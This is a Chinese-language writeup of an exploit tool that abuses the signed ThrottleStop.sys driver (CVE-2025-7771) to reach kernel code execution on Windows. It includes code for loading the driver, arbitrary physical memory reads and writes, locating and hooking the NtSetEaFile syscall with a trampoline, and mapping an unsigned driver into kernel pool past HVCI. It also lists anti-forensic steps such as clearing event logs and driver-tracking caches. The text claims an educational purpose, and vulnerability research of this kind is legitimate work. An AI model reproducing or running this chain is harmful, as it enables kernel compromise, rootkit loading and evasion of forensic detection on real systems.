利用throttlestop漏洞从未签名驱动提升系统权限
CVE-2025-7771 — 通过 ThrottleStop.sys IOCTL 实现任意物理内存读写
本项目仅用于教育和研究目的。目的在于演示一个经过签名、受信任的内核驱动程序如何被武器化,用于从管理员权限提升至 SYSTEM/内核 权限,有效绕过包括 HVCI(超管理器强制代码完整性) 和 安全启动 在内的现代 Windows 安全功能。
请勿将此工具用于恶意目的。 作者对任何滥用行为不承担责任。
| 字段 | 详情 |
|---|---|
| CVE | CVE-2025-7771 |
| 驱动程序 | ThrottleStop.sys(随 ThrottleStop 一起发布) |
| 供应商 | TechPowerUp / Kevin Glynn |
| 类型 | 任意物理内存读写 |
| 影响 | 本地权限提升(管理员 → 内核) |
| CVSS | 8.2(高危) |
| 签名 | 通过 WHQL / 证明进行 Microsoft 签名 |
| 绕过 HVCI | ✅ 是 — 驱动程序已合法签名,被 CI 策略允许 |
ThrottleStop.sys 版本ThrottleStop.sys 内核驱动程序暴露了一个设备(\\.\ThrottleStop),任何本地管理员均可访问。它实现了两个提供无限制物理内存访问的 IOCTL:
#define IOCTL_TS_READ_PHYS 0x80006498 // 读取任意物理地址
#define IOCTL_TS_WRITE_PHYS 0x8000649C // 写入任意物理地址
0x80006498)输入: ULONG64 PhysicalAddress (8 字节)
输出: 数据缓冲区 (每次调用 1–8 字节,由 OutputBufferLength 决定)
驱动程序调用 MmMapIoSpace() 将请求的物理地址映射到内核虚拟空间,将数据复制到输出缓冲区,然后调用 MmUnmapIoSpace()。对物理地址不执行任何验证 — 可以读取物理地址空间中的任何地址。
0x8000649C)输入: ULONG64 PhysicalAddress (8 字节) + 数据 (1–8 字节)
InputBufferLength = 8 + DataSize
输出: 无
与读取相同的机制,但将用户提供的数据写入映射的物理地址。同样,没有地址或范围验证。
该驱动程序旨在允许 ThrottleStop(一款 CPU 降压/节流工具)直接读写 MSR 和硬件寄存器。物理内存 IOCTL 很可能是为了实现对 PCI 配置空间或 CPU 温度传感器的 MMIO 访问而添加的,但实现中零边界检查:
GENERIC_READ | GENERIC_WRITE 句柄访问权限外,无 ACL 限制这会将一个合法的硬件工具驱动程序转变为完整的内核级读写原语。
利用链从本地管理员账户提升到任意内核代码执行,实际上获得 SYSTEM 级别的 ring-0 控制权。
映射器将 ThrottleStop.sys 释放到 %TEMP%,在 HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop 下创建服务注册表项,然后通过 NtLoadDriver() 加载:
// 为当前进程启用 SeLoadDriverPrivilege
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// 创建指向释放的 .sys 文件的服务项
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// 通过 NtLoadDriver 加载
NtLoadDriver(&driver_reg_path_unicode);
// 打开设备句柄
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
注意: 由于 ThrottleStop.sys 已合法签名,即使启用了 HVCI/安全启动,它也能加载。Windows CI 策略信任该证书。
有了设备句柄,漏洞利用程序可以读取/写入系统上的任何物理地址:
// 从物理地址 0x1000 读取 8 字节
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// 向物理地址写入 8 字节
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // 地址
*(ULONGLONG*)(input + 8) = shellcode_qword; // 数据
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
漏洞利用程序将这些封装到辅助函数中,以分块读取/写入(每次调用 1、2、4 或 8 字节)处理任意长度的传输。
为了执行任意内核函数,漏洞利用程序需要找到内核系统调用处理程序的物理地址。它瞄准了 NtSetEaFile(一个很少被监控的系统调用):
LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES) 加载 ntoskrnl.exe,获取 NtSetEaFile 的 RVARVA & 0x1FFFFFHARDWARE\RESOURCEMAP\System Resources\Physical Memory)枚举物理内存范围,以 2MB 为步长,比较字节:for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // 快速检查
{
read_phys(candidate_pa, verify, 32); // 完全验证
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // 找到了!
// ... 通过 PsGetProcessSectionBaseAddress 验证
}
}
}
PsGetProcessSectionBaseAddress(current_pid),并验证返回的基址是否与 GetModuleHandle(NULL) 匹配。一旦知道了 NtSetEaFile 的物理地址,漏洞利用程序直接通过物理内存写入安装一个 12 字节的 trampoline:
; 原始 NtSetEaFile 字节(已保存用于恢复)
; 替换为:
mov rax, <target_kernel_address> ; 48 B8 <8-byte imm64>
push rax ; 50
ret ; C3
// 安装挂钩
unsigned char jmp_code[12] = {
0x48, 0xB8, // mov rax, imm64
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // <目标地址>
0x50, // push rax
0xC3 // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);
// 从用户态触发
NtSetEaFile(args...); // → 跳转到内核中的 target_function!
// 恢复原始字节
write_phys(syscall_phys_addr, saved_bytes, 12);
关键洞察: 写入物理页面绕过了 HVCI 的虚拟内存保护。HVCI 阻止
W+X虚拟页面,但驱动程序通过MmMapIoSpace进行的物理内存写入直接进入 RAM。
有了系统调用挂钩原语,漏洞利用程序可以调用任何内核函数并传入任意参数:
// 分配可执行内核内存(HVCI 兼容)
auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
POOL_FLAG_NON_PAGED_EXECUTE, size, tag);
// 通过 RtlCopyMemory 将驱动程序映像复制到内核池
syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);
// 调用驱动程序的 DriverEntry
syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);
这实际上在内核空间中映射并执行了一个未签名的驱动程序 — 完全提权。
加载有效载荷后,漏洞利用程序清除所有痕迹:
| 痕迹 | 清理方法 |
|---|---|
| PiDDB 缓存 | 解锁 PiDDBLock,通过 RtlLookupElementGenericTableAvl 在 AVL 树中找到条目,取消链接并删除 |
| MmUnloadedDrivers | 扫描 50 条目的循环缓冲区,将匹配的名称和条目清零 |
| BigPoolTable | 扫描 PoolBigPageTable 找到分配 VA,将条目清零 |
| Pool 头部 | 将 POOL_HEADER 标签伪造为 MmSt(常见系统标签) |
| PE 头部 | 将内核分配中的 DOS/NT 头部、导入目录、调试目录、可丢弃节区清零 |
| 注册表 | 删除 HKLM\...\Services\ThrottleStop 键树 |
| 驱动程序文件 | 从 %TEMP% 删除 ThrottleStop.sys |
| 事件日志 | 清除系统和安全日志中的相关条目 |
| Prefetch / BAM | 清理 ShimCache、BAM(后台活动调节器)和 Prefetch 痕迹 |
HVCI(超管理器强制代码完整性) 通过二级地址转换(SLAT/EPT)对内核虚拟页面强制执行 W^X(写异或执行),防止未签名代码在内核空间中执行。
此漏洞利用绕过 HVCI 的原因是:
合法驱动程序: ThrottleStop.sys 已正确签名并通过 CI 验证,因此即使 HVCI 处于活动状态,它也能正常加载。
物理而非虚拟: IOCTL 使用 MmMapIoSpace(),它操作物理地址。HVCI 的保护是在虚拟页表级别并通过 EPT 强制执行的,但 MmMapIoSpace 为物理页面创建了一个具有适当权限的新虚拟映射。对系统调用物理页面的写入修改了现有虚拟映射已指向的 RAM 内容。
可执行池: 漏洞利用程序通过 ExAllocatePool2 并使用 POOL_FLAG_NON_PAGED_EXECUTE 分配内存,这是一种合法的、HVCI 认可的获取可执行内核内存的方式。内核本身将其用于 JIT 编译的代码和某些池分配。
未加载未签名驱动程序: 映射器从不使用未签名映像调用 NtLoadDriver。相反,它手动将有效载荷写入一个已是可执行的内核池分配中,并通过系统调用挂钩调用其入口点。